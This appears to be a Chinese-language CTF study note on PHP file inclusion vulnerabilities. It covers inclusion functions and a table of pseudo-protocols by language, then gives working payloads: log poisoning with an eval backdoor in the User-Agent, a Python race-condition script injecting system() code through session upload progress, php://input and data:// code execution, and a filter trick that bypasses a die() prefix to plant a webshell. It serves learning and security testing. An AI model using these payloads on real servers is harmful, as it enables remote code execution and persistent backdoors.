概念
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
种类
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误,并停止脚本运行include():找不到被包含的文件只会产生警告,脚本继续执行require_once():与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含include_once():与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
伪协议
<tr>
<td rowspan="4" class="lang-col">Java</td>
<td><code>jar://</code></td>
<td>
<strong>Java 归档访问</strong><br>
读取 jar/zip 包内资源。格式:<code>jar:file:...!/entry</code>
</td>
<td><span class="risk-medium">中危 (文件读取/DoS)</span><br>读取敏感文件或通过 Zip 炸弹导致拒绝服务。</td>
</tr>
<tr>
<td><code>jndi://</code></td>
<td>
<strong>Java 命名和目录接口</strong><br>
支持 LDAP, RMI, DNS 等协议查找。
</td>
<td><span class="risk-high">极高危 (RCE)</span><br>Log4j2 漏洞核心,加载恶意类文件执行代码。</td>
</tr>
<tr>
<td><code>netdoc://</code></td>
<td>
<strong>网络文档</strong><br>
类似 file/jar,但在部分 JDK 版本处理逻辑不同。
</td>
<td><span class="risk-medium">中危 (WAF 绕过)</span><br>当 file 协议被禁用时,可能作为替代方案。</td>
</tr>
<tr>
<td><code>classpath:</code></td>
<td>
<strong>类路径资源</strong><br>
常见于 Spring 框架,加载 classpath 下的文件。
</td>
<td><span class="risk-low">低危 (信息泄露)</span><br>可能意外读取到配置文件或源码。</td>
</tr>
<tr>
<td rowspan="2" class="lang-col">Python</td>
<td><code>file://</code></td>
<td>
<strong>本地文件访问</strong><br>
标准库 <code>urllib</code> 支持。
</td>
<td><span class="risk-medium">中危 (SSRF/LFI)</span><br>若 URL 参数可控,可读取本地敏感文件。</td>
</tr>
<tr>
<td><code>http://</code><br><code>https://</code><br><code>ftp://</code></td>
<td>
<strong>标准网络请求</strong><br>
由 <code>urllib</code>, <code>requests</code> 等库处理。
</td>
<td><span class="risk-medium">中危 (SSRF)</span><br>用于探测内网服务或攻击内网应用。</td>
</tr>
<tr>
<td rowspan="4" class="lang-col">JavaScript<br>(浏览器)</td>
<td><code>javascript:</code></td>
<td>
<strong>伪协议执行</strong><br>
在 URL 位置执行 JS 代码。
</td>
<td><span class="risk-high">高危 (XSS)</span><br>经典攻击向量,如 <code><a href="javascript:..."></code>。</td>
</tr>
<tr>
<td><code>data:</code></td>
<td>
<strong>内联数据</strong><br>
内嵌图片、脚本等资源。
</td>
<td><span class="risk-medium">中高危 (XSS/绕过)</span><br>用于绕过脚本源限制或进行钓鱼攻击。</td>
</tr>
<tr>
<td><code>blob:</code></td>
<td>
<strong>二进制大对象</strong><br>
指代存储在浏览器内存中的数据对象。
</td>
<td><span class="risk-low">低危 (下载/XSS)</span><br>用于生成文件下载链接,或隐藏恶意脚本来源。</td>
</tr>
<tr>
<td><code>view-source:</code></td>
<td>
<strong>查看源码</strong><br>
浏览器特定协议。
</td>
<td><span class="risk-low">低危 (信息获取)</span><br>查看页面源代码。</td>
</tr>
<tr>
<td rowspan="2" class="lang-col">Node.js</td>
<td><code>node:</code></td>
<td>
<strong>内部模块引用</strong><br>
如 <code>import fs from 'node:fs';</code>
</td>
<td><span class="risk-medium">中危 (代码执行)</span><br>攻击者若能控制导入路径,可引用核心模块。</td>
</tr>
<tr>
<td><code>file:</code></td>
<td>
<strong>文件系统</strong><br>
用于文件操作。
</td>
<td><span class="risk-medium">中危 (LFI)</span><br>在不安全的文件操作中读取系统文件。</td>
</tr>
<tr>
<td rowspan="2" class="lang-col">C# / .NET</td>
<td><code>pack://</code></td>
<td>
<strong>WPF 资源访问</strong><br>
访问程序集内的资源文件。
</td>
<td><span class="risk-low">低危 (信息泄露)</span><br>可能被用于探测或读取程序集内部资源。</td>
</tr>
<tr>
<td><code>ldap://</code></td>
<td>
<strong>目录访问协议</strong><br>
用于 AD 域等查询。
</td>
<td><span class="risk-medium">中危 (注入/提权)</span><br>不安全的 LDAP 查询可能导致注入攻击。</td>
</tr>
<tr>
<td rowspan="2" class="lang-col">通用/底层<br>(Libcurl)</td>
<td><code>gopher://</code></td>
<td>
<strong>Gopher 协议</strong><br>
支持发送任意 TCP 数据。
</td>
<td><span class="risk-high">极高危 (SSRF 之王)</span><br>用于构造复杂的 payload 攻击 Redis, MySQL 等内网服务。</td>
</tr>
<tr>
<td><code>dict://</code></td>
<td>
<strong>字典服务协议</strong><br>
用于查询字典服务器。
</td>
<td><span class="risk-medium">中危 (SSRF)</span><br>用于探测端口或操作简单的文本协议服务。</td>
</tr>
</tbody>
| 语言/环境 | 协议 (Scheme) | 描述与核心功能 | 典型安全风险 / 用途 |
|---|---|---|---|
| PHP | php:// |
核心输入/输出流 包含 php://input (读POST数据), php://filter (编码转换), php://memory 等。
| 极高危 (LFI/RCE) 常配合 include 读取源码或绕过 WAF 执行代码。 |
phar:// |
PHP 归档文件 允许像操作文件系统一样操作打包文件,支持元数据。 | 高危 (反序列化) 不安全解析 phar 文件时触发反序列化漏洞。 | |
zip://bzip2://zlib:// |
压缩流封装器 直接读取压缩包内的特定文件。 | 中高危 (LFI/RCE) 配合文件上传漏洞,上传压缩包后包含其中的 Shell。 | |
data:// |
RFC 2397 数据流 将文本或二进制内容直接嵌入在 URL 字符串中。 | 极高危 (RCE) 若 allow_url_include 开启,可直接包含代码执行。 | |
expect:// |
进程交互流 (需 PECL 扩展) 允许执行系统命令并交互。 | 极高危 (RCE) 直接的命令执行通道。 | |
glob:// |
查找匹配模式 用于查找匹配的文件路径模式。 | 中危 (目录遍历) 用于绕过某些基于路径的检查,列出目录文件。 |
攻击思路
配合文件上传进行getshell
图片带有脚本后门代码,包含图片,脚本代码被触发
配合日志文件进行getshell
日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
GET /?file=/var/log/nginx/access.log HTTP/1.1
Host: 4e9bb3c0-1021-427e-81a3-42e5e6e13c39.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[2]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: UM_distinctid=17ffcdc88eb73a-022664ffe42c5b8-13676d4a-1fa400-17ffcdc88ec82c
Connection: close?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');
配合会话文件进行getshell
条件竞合
利用 session 对话进行文件包含,通过条件竞争实现。
我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。
对cookie添加参数:PHPSESSID=exp,同时添加想要执行的语句,使用null爆破
然后爆破查看路径:
?file=/tmp/sess_exp
攻击脚本
import requests
import threading
# 替换为你当前的题目链接
url = ""
# 自定义 session 名字,注意不要包含被过滤的字符(如 php, data, .)
session_name = "exp"
# 发送 POST 请求,利用 PHP_SESSION_UPLOAD_PROGRESS 写入恶意代码
def write_session():
while True:
headers = {'Cookie': f'PHPSESSION={session_name}'}
# 写入的 PHP 代码:执行系统命令查看 flag
data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac fl*"); ?>'}
# 必须带上文件上传才能触发 session 创建
files = {'file': ('dummy.txt', 'hello')}
requests.post(url, headers=headers, data=data, files=files)
# 发送 GET 请求,疯狂尝试包含那个短暂存在的 session 文件
def read_session():
while True:
payload_url = f"{url}?file=/tmp/sess_{session_name}"
res = requests.get(payload_url)
# 如果页面返回了 flag 的特征字符,说明竞争成功
if "ctfshow{" in res.text:
print("\n[+] 拿下 Flag!")
print(res.text)
# 拿到后退出程序
import os
os._exit(0)
if __name__ == '__main__':
print("[*] 开始条件竞争...")
# 开几个线程同时去写和读
for i in range(10):
threading.Thread(target=write_session).start()
for i in range(10):
threading.Thread(target=read_session).start()
攻击方式
file:// 协议
-
条件:
allow_url_fopen:off/onallow_url_include:off/on
-
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。 -
说明:
file://文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、.\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如fopen()和file_get_contents(),include_path会可选地搜索,也作为相对的路径。 -
用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext -
示例:
-
file://[文件的绝对路径和文件名]http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt -
[文件的相对路径和文件名]http://127.0.0.1/include.php?file=./phpinfo.txt -
[http://网络路径和文件名]http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
-
php:// 协议
-
条件:
allow_url_fopen:off/onallow_url_include:仅php://input php://stdin php://memory php://temp需要on
-
作用:
php://访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。 -
说明:
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
| 协议 | 作用 |
|---|---|
| php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
| php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
| php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
| php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
| php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 |
-
php://filter参数详解该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
| php://filter 参数 | 描述 |
|---|---|
| resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
| read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
| write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
| <; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
-
可用的过滤器列表(4类)
此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php
| 字符串过滤器 | 作用 |
|---|---|
| string.rot13 | 等同于str_rot13(),rot13变换 |
| string.toupper | 等同于strtoupper(),转大写字母 |
| string.tolower | 等同于strtolower(),转小写字母 |
| string.strip_tags | 等同于strip_tags(),去除html、PHP语言标签 |
| 转换过滤器 | 作用 |
|---|---|
| convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
| convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
| 压缩过滤器 | 作用 |
|---|---|
| zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
| bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
| 加密过滤器 | 作用 |
|---|---|
| mcrypt.* | libmcrypt 对称加密算法 |
| mdecrypt.* | libmcrypt 对称解密算法 |
-
示例:
-
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php -
php://input + [POST DATA]执行php代码http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>若有写入权限,写入一句话木马
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
-
zip:// & bzip2:// & zlib:// 协议
-
条件:
allow_url_fopen:off/onallow_url_include:off/on
-
作用:
zip:// & bzip2:// & zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx等等。 -
示例:
-
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt -
compress.bzip2://file.bz2压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2 -
compress.zlib://file.gz压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
-
data:// 协议
-
条件:
allow_url_fopen:onallow_url_include:on
-
作用:自
PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 -
用法:
data://text/plain, data://text/plain;base64, -
示例:
-
data://text/plain,http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> -
data://text/plain;base64,http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
http:// & https:// 协议
-
条件:
allow_url_fopen:onallow_url_include:on
-
作用:常规 URL 形式,允许通过
HTTP 1.0的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。 -
用法:
http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com -
示例:
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术。
绕过方式
死亡绕过
代码强行拼接了 <?php die();?> 前缀,导致常规木马一执行就“死亡”。
攻击方法
- 利用过滤器写入后门
- 目标 URL:
/?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php - 请求方式: POST
- POST Body:
contents=?<hp pvela$(P_SO[Tc'dm]';)>? - 结果:服务器生成
shell.php,内部结构为“破坏后的死亡前缀 + 正常的 eval 木马”。
- 目标 URL:
- 连接后门,枚举目录
- 目标 URL:
/shell.php - 请求方式: POST
- POST Body:
cmd=print_r(scandir('.')); - 结果:绕过禁用函数,利用 PHP 原生函数列出当前目录下的所有文件,寻找类似
flag.php的目标。
- 目标 URL:
- 读取目标文件,获取 Flag
- 目标 URL:
/shell.php - 请求方式: POST
- POST Body:
cmd=highlight_file('flag.php');
- 目标 URL: